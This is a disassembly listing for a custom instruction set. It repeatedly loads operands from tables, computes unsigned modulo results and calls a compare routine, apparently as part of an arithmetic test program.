2a8c: 0d 42 86 18 wl16 r16,0x1438
2a90: 0d 60 02 03 wh16 r16,0x3
2a94: 10 40 02 10 ld32 r16,r16
2a98: 0d 44 a5 34 wl16 r9,0x2534
2a9c: 0d 60 01 23 wh16 r9,0x3
2aa0: 10 40 01 29 ld32 r9,r9
2aa4: 00 a0 01 10 umod r8,r16
2aa8: 20 70 03 e2 movepc rret,8
2aac: 14 30 f5 59 br 10 <compare>,#al
2ab0: 00 10 00 41 add r2,1
2ab4: 0d 40 69 00 wl16 r8,0x340
2ab8: 0d 60 01 03 wh16 r8,0x3
2abc: 10 40 01 08 ld32 r8,r8
2ac0: 0d 42 86 1c wl16 r16,0x143c
2ac4: 0d 60 02 03 wh16 r16,0x3
2ac8: 10 40 02 10 ld32 r16,r16
2acc: 0d 44 a5 38 wl16 r9,0x2538
2ad0: 0d 60 01 23 wh16 r9,0x3
2ad4: 10 40 01 29 ld32 r9,r9
2ad8: 00 a0 01 10 umod r8,r16
2adc: 20 70 03 e2 movepc rret,8
2ae0: 14 30 f5 4c br 10 <compare>,#al
2ae4: 00 10 00 41 add r2,1
2ae8: 0d 40 69 04 wl16 r8,0x344
2aec: 0d 60 01 03 wh16 r8,0x3
2af0: 10 40 01 08 ld32 r8,r8
2af4: 0d 42 8a 00 wl16 r16,0x1440
2af8: 0d 60 02 03 wh16 r16,0x3
2afc: 10 40 02 10 ld32 r16,r16
2b00: 0d 44 a5 3c wl16 r9,0x253c
2b04: 0d 60 01 23 wh16 r9,0x3
2b08: 10 40 01 29 ld32 r9,r9
2b0c: 00 a0 01 10 umod r8,r16
2b10: 20 70 03 e2 movepc rret,8
2b14: 14 30 f5 3f br 10 <compare>,#al
2b18: 00 10 00 41 add r2,1
2b1c: 0d 40 69 08 wl16 r8,0x348
2b20: 0d 60 01 03 wh16 r8,0x3
2b24: 10 40 01 08 ld32 r8,r8
2b28: 0d 42 8a 04 wl16 r16,0x1444
2b2c: 0d 60 02 03 wh16 r16,0x3
2b30: 10 40 02 10 ld32 r16,r16
2b34: 0d 44 a9 20 wl16 r9,0x2540
2b38: 0d 60 01 23 wh16 r9,0x3
2b3c: 10 40 01 29 ld32 r9,r9
2b40: 00 a0 01 10 umod r8,r16
2b44: 20 70 03 e2 movepc rret,8
2b48: 14 30 f5 32 br 10 <compare>,#al
2b4c: 00 10 00 41 add r2,1
2b50: 0d 40 69 0c wl16 r8,0x34c
2b54: 0d 60 01 03 wh16 r8,0x3
2b58: 10 40 01 08 ld32 r8,r8
2b5c: 0d 42 8a 08 wl16 r16,0x1448
2b60: 0d 60 02 03 wh16 r16,0x3
2b64: 10 40 02 10 ld32 r16,r16
2b68: 0d 44 a9 24 wl16 r9,0x2544
2b6c: 0d 60 01 23 wh16 r9,0x3
2b70: 10 40 01 29 ld32 r9,r9
2b74: 00 a0 01 10 umod r8,r16
2b78: 20 70 03 e2 movepc rret,8
2b7c: 14 30 f5 25 br 10 <compare>,#al
2b80: 00 10 00 41 add r2,1
2b84: 0d 40 69 10 wl16 r8,0x350
2b88: 0d 60 01 03 wh16 r8,0x3
2b8c: 10 40 01 08 ld32 r8,r8
2b90: 0d 42 8a 0c wl16 r16,0x144c
2b94: 0d 60 02 03 wh16 r16,0x3
2b98: 10 40 02 10 ld32 r16,r16
2b9c: 0d 44 a9 28 wl16 r9,0x2548
2ba0: 0d 60 01 23 wh16 r9,0x3
2ba4: 10 40 01 29 ld32 r9,r9
2ba8: 00 a0 01 10 umod r8,r16
2bac: 20 70 03 e2 movepc rret,8
2bb0: 14 30 f5 18 br 10 <compare>,#al
2bb4: 00 10 00 41 add r2,1
2bb8: 0d 40 69 14 wl16 r8,0x354
2bbc: 0d 60 01 03 wh16 r8,0x3
2bc0: 10 40 01 08 ld32 r8,r8
2bc4: 0d 42 8a 10 wl16 r16,0x1450
2bc8: 0d 60 02 03 wh16 r16,0x3
2bcc: 10 40 02 10 ld32 r16,r16
2bd0: 0d 44 a9 2c wl16 r9,0x254c
2bd4: 0d 60 01 23 wh16 r9,0x3
2bd8: 10 40 01 29 ld32 r9,r9
2bdc: 00 a0 01 10 umod r8,r16
2be0: 20 70 03 e2 movepc rret,8
2be4: 14 30 f5 0b br 10 <compare>,#al
2be8: 00 10 00 41 add r2,1
2bec: 0d 40 69 18 wl16 r8,0x358
2bf0: 0d 60 01 03 wh16 r8,0x3
2bf4: 10 40 01 08 ld32 r8,r8
2bf8: 0d 42 8a 14 wl16 r16,0x1454
2bfc: 0d 60 02 03 wh16 r16,0x3
2c00: 10 40 02 10 ld32 r16,r16
2c04: 0d 44 a9 30 wl16 r9,0x2550
2c08: 0d 60 01 23 wh16 r9,0x3
2c0c: 10 40 01 29 ld32 r9,r9
2c10: 00 a0 01 10 umod r8,r16
2c14: 20 70 03 e2 movepc rret,8
2c18: 14 30 f4 fe br 10 <compare>,#al
2c1c: 00 10 00 41 add r2,1
2c20: 0d 40 69 1c wl16 r8,0x35c
2c24: 0d 60 01 03 wh16 r8,0x3
2c28: 10 40 01 08 ld32 r8,r8
2c2c: 0d 42 8a 18 wl16 r16,0x1458
2c30: 0d 60 02 03 wh16 r16,0x3
2c34: 10 40 02 10 ld32 r16,r16
2c38: 0d 44 a9 34 wl16 r9,0x2554
2c3c: 0d 60 01 23 wh16 r9,0x3
2c40: 10 40 01 29 ld32 r9,r9
2c44: 00 a0 01 10 umod r8,r16
2c48: 20 70 03 e2 movepc rret,8
2c4c: 14 30 f4 f1 br 10 <compare>,#al
2c50: 00 10 00 41 add r2,1
2c54: 0d 40 6d 00 wl16 r8,0x360
2c58: 0d 60 01 03 wh16 r8,0x3
2c5c: 10 40 01 08 ld32 r8,r8
2c60: 0d 42 8a 1c wl16 r16,0x145c
2c64: 0d 60 02 03 wh16 r16,0x3
2c68: 10 40 02 10 ld32 r16,r16
2c6c: 0d 44 a9 38 wl16 r9,0x2558
2c70: 0d 60 01 23 wh16 r9,0x3
2c74: 10 40 01 29 ld32 r9,r9
2c78: 00 a0 01 10 umod r8,r16
2c7c: 20 70 03 e2 movepc rret,8
2c80: 14 30 f4 e4 br 10 <compare>,#al
2c84: 00 10 00 41 add r2,1
2c88: 0d 40 6d 04 wl16 r8,0x364
2c8c: 0d 60 01 03 wh16 r8,0x3
2c90: 10 40 01 08 ld32 r8,r8
2c94: 0d 42 8e 00 wl16 r16,0x1460
2c98: 0d 60 02 03 wh16 r16,0x3
2c9c: 10 40 02 10 ld32 r16,r16
2ca0: 0d 44 a9 3c wl16 r9,0x255c
2ca4: 0d 60 01 23 wh16 r9,0x3
2ca8: 10 40 01 29 ld32 r9,r9
2cac: 00 a0 01 10 umod r8,r16
2cb0: 20 70 03 e2 movepc rret,8
2cb4: 14 30 f4 d7 br 10 <compare>,#al
2cb8: 00 10 00 41 add r2,1
2cbc: 0d 40 6d 08 wl16 r8,0x368
2cc0: 0d 60 01 03 wh16 r8,0x3
2cc4: 10 40 01 08 ld32 r8,r8
2cc8: 0d 42 8e 04 wl16 r16,0x1464
2ccc: 0d 60 02 03 wh16 r16,0x3
2cd0: 10 40 02 10 ld32 r16,r16
2cd4: 0d 44 ad 20 wl16 r9,0x2560
2cd8: 0d 60 01 23 wh16 r9,0x3
2cdc: 10 40 01 29 ld32 r9,r9
2ce0: 00 a0 01 10 umod r8,r16
2ce4: 20 70 03 e2 movepc rret,8
2ce8: 14 30 f4 ca br 10 <compare>,#al
2cec: 00 10 00 41 add r2,1
2cf0: 0d 40 6d 0c wl16 r8,0x36c
2cf4: 0d 60 01 03 wh16 r8,0x3
2cf8: 10 40 01 08 ld32 r8,r8
2cfc: 0d 42 8e 08 wl16 r16,0x1468
2d00: 0d 60 02 03 wh16 r16,0x3
2d04: 10 40 02 10 ld32 r16,r16
2d08: 0d 44 ad 24 wl16 r9,0x2564
2d0c: 0d 60 01 23 wh16 r9,0x3
2d10: 10 40 01 29 ld32 r9,r9
2d14: 00 a0 01 10 umod r8,r16
2d18: 20 70 03 e2 movepc rret,8
2d1c: 14 30 f4 bd br 10 <compare>,#al
2d20: 00 10 00 41 add r2,1
2d24: 0d 40 6d 10 wl16 r8,0x370
2d28: 0d 60 01 03 wh16 r8,0x3
2d2c: 10 40 01 08 ld32 r8,r8
2d30: 0d 42 8e 0c wl16 r16,0x146c
2d34: 0d 60 02 03 wh16 r16,0x3
2d38: 10 40 02 10 ld32 r16,r16
2d3c: 0d 44 ad 28 wl16 r9,0x2568
2d40: 0d 60 01 23 wh16 r9,0x3
2d44: 10 40 01 29 ld32 r9,r9
2d48: 00 a0 01 10 umod r8,r16
2d4c: 20 70 03 e2 movepc rret,8
2d50: 14 30 f4 b0 br 10 <compare>,#al
2d54: 00 10 00 41 add r2,1
2d58: 0d 40 6d 14 wl16 r8,0x374
2d5c: 0d 60 01 03 wh16 r8,0x3
2d60: 10 40 01 08 ld32 r8,r8
2d64: 0d 42 8e 10 wl16 r16,0x1470
2d68: 0d 60 02 03 wh16 r16,0x3
2d6c: 10 40 02 10 ld32 r16,r16
2d70: 0d 44 ad 2c wl16 r9,0x256c
2d74: 0d 60 01 23 wh16 r9,0x3
2d78: 10 40 01 29 ld32 r9,r9
2d7c: 00 a0 01 10 umod r8,r16
2d80: 20 70 03 e2 movepc rret,8
2d84: 14 30 f4 a3 br 10 <compare>,#al
2d88: 00 10 00 41 add r2,1
2d8c: 0d 40 6d 18 wl16 r8,0x378
2d90: 0d 60 01 03 wh16 r8,0x3
2d94: 10 40 01 08 ld32 r8,r8
2d98: 0d 42 8e 14 wl16 r16,0x1474
2d9c: 0d 60 02 03 wh16 r16,0x3
2da0: 10 40 02 10 ld32 r16,r16
2da4: 0d 44 ad 30 wl16 r9,0x2570
2da8: 0d 60 01 23 wh16 r9,0x3
2dac: 10 40 01 29 ld32 r9,r9
2db0: 00 a0 01 10 umod r8,r16
2db4: 20 70 03 e2 movepc rret,8
2db8: 14 30 f4 96 br 10 <compare>,#al
2dbc: 00 10 00 41 add r2,1
2dc0: 0d 40 6d 1c wl16 r8,0x37c
2dc4: 0d 60 01 03 wh16 r8,0x3
2dc8: 10 40 01 08 ld32 r8,r8
2dcc: 0d 42 8e 18 wl16 r16,0x1478
2dd0: 0d 60 02 03 wh16 r16,0x3
2dd4: 10 40 02 10 ld32 r16,r16
2dd8: 0d 44 ad 34 wl16 r9,0x2574
2ddc: 0d 60 01 23 wh16 r9,0x3
2de0: 10 40 01 29 ld32 r9,r9
2de4: 00 a0 01 10 umod r8,r16
2de8: 20 70 03 e2 movepc rret,8
2dec: 14 30 f4 89 br 10 <compare>,#al
2df0: 00 10 00 41 add r2,1
2df4: 0d 40 71 00 wl16 r8,0x380
2df8: 0d 60 01 03 wh16 r8,0x3
2dfc: 10 40 01 08 ld32 r8,r8
2e00: 0d 42 8e 1c wl16 r16,0x147c
2e04: 0d 60 02 03 wh16 r16,0x3
2e08: 10 40 02 10 ld32 r16,r16
2e0c: 0d 44 ad 38 wl16 r9,0x2578
2e10: 0d 60 01 23 wh16 r9,0x3
2e14: 10 40 01 29 ld32 r9,r9
2e18: 00 a0 01 10 umod r8,r16
2e1c: 20 70 03 e2 movepc rret,8
2e20: 14 30 f4 7c br 10 <compare>,#al
2e24: 00 10 00 41 add r2,1
2e28: 0d 40 71 04 wl16 r8,0x384
2e2c: 0d 60 01 03 wh16 r8,0x3
2e30: 10 40 01 08 ld32 r8,r8
2e34: 0d 42 92 00 wl16 r16,0x1480
2e38: 0d 60 02 03 wh16 r16,0x3
2e3c: 10 40 02 10 ld32 r16,r16
2e40: 0d 44 ad 3c wl16 r9,0x257c
2e44: 0d 60 01 23 wh16 r9,0x3
2e48: 10 40 01 29 ld32 r9,r9
2e4c: 00 a0 01 10 umod r8,r16
2e50: 20 70 03 e2 movepc rret,8
2e54: 14 30 f4 6f br 10 <compare>,#al
2e58: 00 10 00 41 add r2,1
2e5c: 0d 40 71 08 wl16 r8,0x388
2e60: 0d 60 01 03 wh16 r8,0x3
2e64: 10 40 01 08 ld32 r8,r8
2e68: 0d 42 92 04 wl16 r16,0x1484
2e6c: 0d 60 02 03 wh16 r16,0x3
2e70: 10 40 02 10 ld32 r16,r16
2e74: 0d 44 b1 20 wl16 r9,0x2580
2e78: 0d 60 01 23 wh16 r9,0x3
2e7c: 10 40 01 29 ld32 r9,r9
2e80: 00 a0 01 10 umod r8,r16
2e84: 20 70 03 e2 movepc rret,8
2e88: 14 30 f4 62 br 10 <compare>,#al
2e8c: 00 10 00 41 add r2,1
2e90: 0d 40 71 0c wl16 r8,0x38c
2e94: 0d 60 01 03 wh16 r8,0x3
2e98: 10 40 01 08 ld32 r8,r8
2e9c: 0d 42 92 08 wl16 r16,0x1488
2ea0: 0d 60 02 03 wh16 r16,0x3
2ea4: 10 40 02 10 ld32 r16,r16
2ea8: 0d 44 b1 24 wl16 r9,0x2584
2eac: 0d 60 01 23 wh16 r9,0x3
2eb0: 10 40 01 29 ld32 r9,r9
2eb4: 00 a0 01 10 umod r8,r16
2eb8: 20 70 03 e2 movepc rret,8
2ebc: 14 30 f4 55 br 10 <compare>,#al
2ec0: 00 10 00 41 add r2,1
2ec4: 0d 40 71 10 wl16 r8,0x390
2ec8: 0d 60 01 03 wh16 r8,0x3
2ecc: 10 40 01 08 ld32 r8,r8
2ed0: 0d 42 92 0c wl16 r16,0x148c
2ed4: 0d 60 02 03 wh16 r16,0x3
2ed8: 10 40 02 10 ld32 r16,r16
2edc: 0d 44 b1 28 wl16 r9,0x2588
2ee0: 0d 60 01 23 wh16 r9,0x3
2ee4: 10 40 01 29 ld32 r9,r9
2ee8: 00 a0 01 10 umod r8,r16
2eec: 20 70 03 e2 movepc rret,8
2ef0: 14 30 f4 48 br 10 <compare>,#al
2ef4: 00 10 00 41 add r2,1
2ef8: 0d 40 71 14 wl16 r8,0x394
2efc: 0d 60 01 03 wh16 r8,0x3
2f00: 10 40 01 08 ld32 r8,r8
2f04: 0d 42 92 10 wl16 r16,0x1490
2f08: 0d 60 02 03 wh16 r16,0x3
2f0c: 10 40 02 10 ld32 r16,r16
2f10: 0d 44 b1 2c wl16 r9,0x258c
2f14: 0d 60 01 23 wh16 r9,0x3
2f18: 10 40 01 29 ld32 r9,r9
2f1c: 00 a0 01 10 umod r8,r16
2f20: 20 70 03 e2 movepc rret,8
2f24: 14 30 f4 3b br 10 <compare>,#al
2f28: 00 10 00 41 add r2,1
2f2c: 0d 40 71 18 wl16 r8,0x398
2f30: 0d 60 01 03 wh16 r8,0x3
2f34: 10 40 01 08 ld32 r8,r8
2f38: 0d 42 92 14 wl16 r16,0x1494
2f3c: 0d 60 02 03 wh16 r16,0x3
2f40: 10 40 02 10 ld32 r16,r16
2f44: 0d 44 b1 30 wl16 r9,0x2590
2f48: 0d 60 01 23 wh16 r9,0x3
2f4c: 10 40 01 29 ld32 r9,r9
2f50: 00 a0 01 10 umod r8,r16
2f54: 20 70 03 e2 movepc rret,8
2f58: 14 30 f4 2e br 10 <compare>,#al
2f5c: 00 10 00 41 add r2,1
2f60: 0d 40 71 1c wl16 r8,0x39c
2f64: 0d 60 01 03 wh16 r8,0x3
2f68: 10 40 01 08 ld32 r8,r8
2f6c: 0d 42 92 18 wl16 r16,0x1498
2f70: 0d 60 02 03 wh16 r16,0x3
2f74: 10 40 02 10 ld32 r16,r16
2f78: 0d 44 b1 34 wl16 r9,0x2594
2f7c: 0d 60 01 23 wh16 r9,0x3
2f80: 10 40 01 29 ld32 r9,r9
2f84: 00 a0 01 10 umod r8,r16
2f88: 20 70 03 e2 movepc rret,8
2f8c: 14 30 f4 21 br 10 <compare>,#al
2f90: 00 10 00 41 add r2,1
2f94: 0d 40 75 00 wl16 r8,0x3a0
2f98: 0d 60 01 03 wh16 r8,0x3
2f9c: 10 40 01 08 ld32 r8,r8
2fa0: 0d 42 92 1c wl16 r16,0x149c
2fa4: 0d 60 02 03 wh16 r16,0x3
2fa8: 10 40 02 10 ld32 r16,r16
2fac: 0d 44 b1 38 wl16 r9,0x2598
2fb0: 0d 60 01 23 wh16 r9,0x3
2fb4: 10 40 01 29 ld32 r9,r9
2fb8: 00 a0 01 10 umod r8,r16
2fbc: 20 70 03 e2 movepc rret,8
2fc0: 14 30 f4 14 br 10 <compare>,#al
2fc4: 00 10 00 41 add r2,1
2fc8: 0d 40 75 04 wl16 r8,0x3a4
2fcc: 0d 60 01 03 wh16 r8,0x3
2fd0: 10 40 01 08 ld32 r8,r8
2fd4: 0d 42 96 00 wl16 r16,0x14a0
2fd8: 0d 60 02 03 wh16 r16,0x3
2fdc: 10 40 02 10 ld32 r16,r16
2fe0: 0d 44 b1 3c wl16 r9,0x259c
2fe4: 0d 60 01 23 wh16 r9,0x3
2fe8: 10 40 01 29 ld32 r9,r9
2fec: 00 a0 01 10 umod r8,r16
2ff0: 20 70 03 e2 movepc rret,8
2ff4: 14 30 f4 07 br 10 <compare>,#al
2ff8: 00 10 00 41 add r2,1
2ffc: 0d 40 75 08 wl16 r8,0x3a8
3000: 0d 60 01 03 wh16 r8,0x3
3004: 10 40 01 08 ld32 r8,r8
3008: 0d 42 96 04 wl16 r16,0x14a4
300c: 0d 60 02 03 wh16 r16,0x3
3010: 10 40 02 10 ld32 r16,r16
3014: 0d 44 b5 20 wl16 r9,0x25a0
3018: 0d 60 01 23 wh16 r9,0x3
301c: 10 40 01 29 ld32 r9,r9
3020: 00 a0 01 10 umod r8,r16
3024: 20 70 03 e2 movepc rret,8
3028: 14 30 f3 fa br 10 <compare>,#al
302c: 00 10 00 41 add r2,1
3030: 0d 40 75 0c wl16 r8,0x3ac
3034: 0d 60 01 03 wh16 r8,0x3
3038: 10 40 01 08 ld32 r8,r8
303c: 0d 42 96 08 wl16 r16,0x14a8
3040: 0d 60 02 03 wh16 r16,0x3
3044: 10 40 02 10 ld32 r16,r16
3048: 0d 44 b5 24 wl16 r9,0x25a4
304c: 0d 60 01 23 wh16 r9,0x3
3050: 10 40 01 29 ld32 r9,r9
3054: 00 a0 01 10 umod r8,r16
3058: 20 70 03 e2 movepc rret,8
305c: 14 30 f3 ed br 10 <compare>,#al
3060: 00 10 00 41 add r2,1
3064: 0d 40 75 10 wl16 r8,0x3b0
3068: 0d 60 01 03 wh16 r8,0x3
306c: 10 40 01 08 ld32 r8,r8
3070: 0d 42 96 0c wl16 r16,0x14ac
3074: 0d 60 02 03 wh16 r16,0x3
3078: 10 40 02 10 ld32 r16,r16
307c: 0d 44 b5 28 wl16 r9,0x25a8
3080: 0d 60 01 23 wh16 r9,0x3
3084: 10 40 01 29 ld32 r9,r9
3088: 00 a0 01 10 umod r8,r16
308c: 20 70 03 e2 movepc rret,8
3090: 14 30 f3 e0 br 10 <compare>,#al
3094: 00 10 00 41 add r2,1
3098: 0d 40 75 14 wl16 r8,0x3b4
309c: 0d 60 01 03 wh16 r8,0x3
30a0: 10 40 01 08 ld32 r8,r8
30a4: 0d 42 96 10 wl16 r16,0x14b0
30a8: 0d 60 02 03 wh16 r16,0x3
30ac: 10 40 02 10 ld32 r16,r16
30b0: 0d 44 b5 2c wl16 r9,0x25ac
30b4: 0d 60 01 23 wh16 r9,0x3
30b8: 10 40 01 29 ld32 r9,r9
30bc: 00 a0 01 10 umod r8,r16
30c0: 20 70 03 e2 movepc rret,8
30c4: 14 30 f3 d3 br 10 <compare>,#al
30c8: 00 10 00 41 add r2,1
30cc: 0d 40 75 18 wl16 r8,0x3b8
30d0: 0d 60 01 03 wh16 r8,0x3
30d4: 10 40 01 08 ld32 r8,r8
30d8: 0d 42 96 14 wl16 r16,0x14b4
30dc: 0d 60 02 03 wh16 r16,0x3
30e0: 10 40 02 10 ld32 r16,r16
30e4: 0d 44 b5 30 wl16 r9,0x25b0
30e8: 0d 60 01 23 wh16 r9,0x3
30ec: 10 40 01 29 ld32 r9,r9
30f0: 00 a0 01 10 umod r8,r16
30f4: 20 70 03 e2 movepc rret,8
30f8: 14 30 f3 c6 br 10 <compare>,#al
30fc: 00 10 00 41 add r2,1
3100: 0d 40 75 1c wl16 r8,0x3bc
3104: 0d 60 01 03 wh16 r8,0x3
3108: 10 40 01 08 ld32 r8,r8
310c: 0d 42 96 18 wl16 r16,0x14b8
3110: 0d 60 02 03 wh16 r16,0x3
3114: 10 40 02 10 ld32 r16,r16
3118: 0d 44 b5 34 wl16 r9,0x25b4
311c: 0d 60 01 23 wh16 r9,0x3
3120: 10 40 01 29 ld32 r9,r9
3124: 00 a0 01 10 umod r8,r16
3128: 20 70 03 e2 movepc rret,8
312c: 14 30 f3 b9 br 10 <compare>,#al
3130: 00 10 00 41 add r2,1
3134: 0d 40 79 00 wl16 r8,0x3c0
3138: 0d 60 01 03 wh16 r8,0x3
313c: 10 40 01 08 ld32 r8,r8
3140: 0d 42 96 1c wl16 r16,0x14bc
3144: 0d 60 02 03 wh16 r16,0x3
3148: 10 40 02 10 ld32 r16,r16
314c: 0d 44 b5 38 wl16 r9,0x25b8
3150: 0d 60 01 23 wh16 r9,0x3
3154: 10 40 01 29 ld32 r9,r9
3158: 00 a0 01 10 umod r8,r16
315c: 20 70 03 e2 movepc rret,8
3160: 14 30 f3 ac br 10 <compare>,#al
3164: 00 10 00 41 add r2,1
3168: 0d 40 79 04 wl16 r8,0x3c4
316c: 0d 60 01 03 wh16 r8,0x3
3170: 10 40 01 08 ld32 r8,r8
3174: 0d 42 9a 00 wl16 r16,0x14c0
3178: 0d 60 02 03 wh16 r16,0x3
317c: 10 40 02 10 ld32 r16,r16
3180: 0d 44 b5 3c wl16 r9,0x25bc
3184: 0d 60 01 23 wh16 r9,0x3
3188: 10 40 01 29 ld32 r9,r9
318c: 00 a0 01 10 umod r8,r16
3190: 20 70 03 e2 movepc rret,8
3194: 14 30 f3 9f br 10 <compare>,#al
3198: 00 10 00 41 add r2,1
319c: 0d 40 79 08 wl16 r8,0x3c8
31a0: 0d 60 01 03 wh16 r8,0x3
31a4: 10 40 01 08 ld32 r8,r8
31a8: 0d 42 9a 04 wl16 r16,0x14c4
31ac: 0d 60 02 03 wh16 r16,0x3
31b0: 10 40 02 10 ld32 r16,r16
31b4: 0d 44 b9 20 wl16 r9,0x25c0
31b8: 0d 60 01 23 wh16 r9,0x3
31bc: 10 40 01 29 ld32 r9,r9
31c0: 00 a0 01 10 umod r8,r16
31c4: 20 70 03 e2 movepc rret,8
31c8: 14 30 f3 92 br 10 <compare>,#al
31cc: 00 10 00 41 add r2,1
31d0: 0d 40 79 0c wl16 r8,0x3cc
31d4: 0d 60 01 03 wh16 r8,0x3
31d8: 10 40 01 08 ld32 r8,r8
31dc: 0d 42 9a 08 wl16 r16,0x14c8
31e0: 0d 60 02 03 wh16 r16,0x3
31e4: 10 40 02 10 ld32 r16,r16
31e8: 0d 44 b9 24 wl16 r9,0x25c4
31ec: 0d 60 01 23 wh16 r9,0x3
31f0: 10 40 01 29 ld32 r9,r9
31f4: 00 a0 01 10 umod r8,r16
31f8: 20 70 03 e2 movepc rret,8
31fc: 14 30 f3 85 br 10 <compare>,#al
3200: 00 10 00 41 add r2,1
3204: 0d 40 79 10 wl16 r8,0x3d0
3208: 0d 60 01 03 wh16 r8,0x3
320c: 10 40 01 08 ld32 r8,r8
3210: 0d 42 9a 0c wl16 r16,0x14cc
3214: 0d 60 02 03 wh16 r16,0x3
3218: 10 40 02 10 ld32 r16,r16
321c: 0d 44 b9 28 wl16 r9,0x25c8
3220: 0d 60 01 23 wh16 r9,0x3
3224: 10 40 01 29 ld32 r9,r9
3228: 00 a0 01 10 umod r8,r16
322c: 20 70 03 e2 movepc rret,8
3230: 14 30 f3 78 br 10 <compare>,#al
3234: 00 10 00 41 add r2,1
3238: 0d 40 79 14 wl16 r8,0x3d4
323c: 0d 60 01 03 wh16 r8,0x3
3240: 10 40 01 08 ld32 r8,r8
3244: 0d 42 9a 10 wl16 r16,0x14d0
3248: 0d 60 02 03 wh16 r16,0x3
324c: 10 40 02 10 ld32 r16,r16
3250: 0d 44 b9 2c wl16 r9,0x25cc
3254: 0d 60 01 23 wh16 r9,0x3
3258: 10 40 01 29 ld32 r9,r9
325c: 00 a0 01 10 umod r8,r16
3260: 20 70 03 e2 movepc rret,8
3264: 14 30 f3 6b br 10 <compare>,#al
3268: 00 10 00 41 add r2,1
326c: 0d 40 79 18 wl16 r8,0x3d8
3270: 0d 60 01 03 wh16 r8,0x3
3274: 10 40 01 08 ld32 r8,r8
3278: 0d 42 9a 14 wl16 r16,0x14d4
327c: 0d 60 02 03 wh16 r16,0x3
3280: 10 40 02 10 ld32 r16,r16
3284: 0d 44 b9 30 wl16 r9,0x25d0
3288: 0d 60 01 23 wh16 r9,0x3
328c: 10 40 01 29 ld32 r9,r9
3290: 00 a0 01 10 umod r8,r16
3294: 20 70 03 e2 movepc rret,8
3298: 14 30 f3 5e br 10 <compare>,#al
329c: 00 10 00 41 add r2,1
32a0: 0d 40 79 1c wl16 r8,0x3dc
32a4: 0d 60 01 03 wh16 r8,0x3
32a8: 10 40 01 08 ld32 r8,r8
32ac: 0d 42 9a 18 wl16 r16,0x14d8
32b0: 0d 60 02 03 wh16 r16,0x3
32b4: 10 40 02 10 ld32 r16,r16
32b8: 0d 44 b9 34 wl16 r9,0x25d4
32bc: 0d 60 01 23 wh16 r9,0x3
32c0: 10 40 01 29 ld32 r9,r9
32c4: 00 a0 01 10 umod r8,r16
32c8: 20 70 03 e2 movepc rret,8
32cc: 14 30 f3 51 br 10 <compare>,#al
32d0: 00 10 00 41 add r2,1
32d4: 0d 40 7d 00 wl16 r8,0x3e0
32d8: 0d 60 01 03 wh16 r8,0x3
32dc: 10 40 01 08 ld32 r8,r8
32e0: 0d 42 9a 1c wl16 r16,0x14dc
32e4: 0d 60 02 03 wh16 r16,0x3
32e8: 10 40 02 10 ld32 r16,r16
32ec: 0d 44 b9 38 wl16 r9,0x25d8
32f0: 0d 60 01 23 wh16 r9,0x3
32f4: 10 40 01 29 ld32 r9,r9
32f8: 00 a0 01 10 umod r8,r16
32fc: 20 70 03 e2 movepc rret,8
3300: 14 30 f3 44 br 10 <compare>,#al
3304: 00 10 00 41 add r2,1
3308: 0d 40 7d 04 wl16 r8,0x3e4
330c: 0d 60 01 03 wh16 r8,0x3
3310: 10 40 01 08 ld32 r8,r8
3314: 0d 42 9e 00 wl16 r16,0x14e0
3318: 0d 60 02 03 wh16 r16,0x3
331c: 10 40 02 10 ld32 r16,r16
3320: 0d 44 b9 3c wl16 r9,0x25dc
3324: 0d 60 01 23 wh16 r9,0x3
3328: 10 40 01 29 ld32 r9,r9
332c: 00 a0 01 10 umod r8,r16
3330: 20 70 03 e2 movepc rret,8
3334: 14 30 f3 37 br 10 <compare>,#al
3338: 00 10 00 41 add r2,1
333c: 0d 40 7d 08 wl16 r8,0x3e8
3340: 0d 60 01 03 wh16 r8,0x3
3344: 10 40 01 08 ld32 r8,r8
3348: 0d 42 9e 04 wl16 r16,0x14e4
334c: 0d 60 02 03 wh16 r16,0x3
3350: 10 40 02 10 ld32 r16,r16
3354: 0d 44 bd 20 wl16 r9,0x25e0
3358: 0d 60 01 23 wh16 r9,0x3
335c: 10 40 01 29 ld32 r9,r9
3360: 00 a0 01 10 umod r8,r16
3364: 20 70 03 e2 movepc rret,8
3368: 14 30 f3 2a br 10 <compare>,#al
336c: 00 10 00 41 add r2,1
3370: 0d 40 7d 0c wl16 r8,0x3ec
3374: 0d 60 01 03 wh16 r8,0x3
3378: 10 40 01 08 ld32 r8,r8
337c: 0d 42 9e 08 wl16 r16,0x14e8
3380: 0d 60 02 03 wh16 r16,0x3
3384: 10 40 02 10 ld32 r16,r16
3388: 0d 44 bd 24 wl16 r9,0x25e4
338c: 0d 60 01 23 wh16 r9,0x3
3390: 10 40 01 29 ld32 r9,r9
3394: 00 a0 01 10 umod r8,r16
3398: 20 70 03 e2 movepc rret,8
339c: 14 30 f3 1d br 10 <compare>,#al
33a0: 00 10 00 41 add r2,1
33a4: 0d 40 7d 10 wl16 r8,0x3f0
33a8: 0d 60 01 03 wh16 r8,0x3
33ac: 10 40 01 08 ld32 r8,r8
33b0: 0d 42 9e 0c wl16 r16,0x14ec
33b4: 0d 60 02 03 wh16 r16,0x3
33b8: 10 40 02 10 ld32 r16,r16
33bc: 0d 44 bd 28 wl16 r9,0x25e8
33c0: 0d 60 01 23 wh16 r9,0x3
33c4: 10 40 01 29 ld32 r9,r9
33c8: 00 a0 01 10 umod r8,r16
33cc: 20 70 03 e2 movepc rret,8
33d0: 14 30 f3 10 br 10 <compare>,#al
33d4: 00 10 00 41 add r2,1
33d8: 0d 40 7d 14 wl16 r8,0x3f4
33dc: 0d 60 01 03 wh16 r8,0x3
33e0: 10 40 01 08 ld32 r8,r8
33e4: 0d 42 9e 10 wl16 r16,0x14f0
33e8: 0d 60 02 03 wh16 r16,0x3
33ec: 10 40 02 10 ld32 r16,r16
33f0: 0d 44 bd 2c wl16 r9,0x25ec
33f4: 0d 60 01 23 wh16 r9,0x3
33f8: 10 40 01 29 ld32 r9,r9
33fc: 00 a0 01 10 umod r8,r16
3400: 20 70 03 e2 movepc rret,8
3404: 14 30 f3 03 br 10 <compare>,#al
3408: 00 10 00 41 add r2,1
340c: 0d 40 7d 18 wl16 r8,0x3f8
3410: 0d 60 01 03 wh16 r8,0x3
3414: 10 40 01 08 ld32 r8,r8
3418: 0d 42 9e 14 wl16 r16,0x14f4
341c: 0d 60 02 03 wh16 r16,0x3
3420: 10 40 02 10 ld32 r16,r16
3424: 0d 44 bd 30 wl16 r9,0x25f0
3428: 0d 60 01 23 wh16 r9,0x3
342c: 10 40 01 29 ld32 r9,r9
3430: 00 a0 01 10 umod r8,r16
3434: 20 70 03 e2 movepc rret,8
3438: 14 30 f2 f6 br 10 <compare>,#al
343c: 00 10 00 41 add r2,1
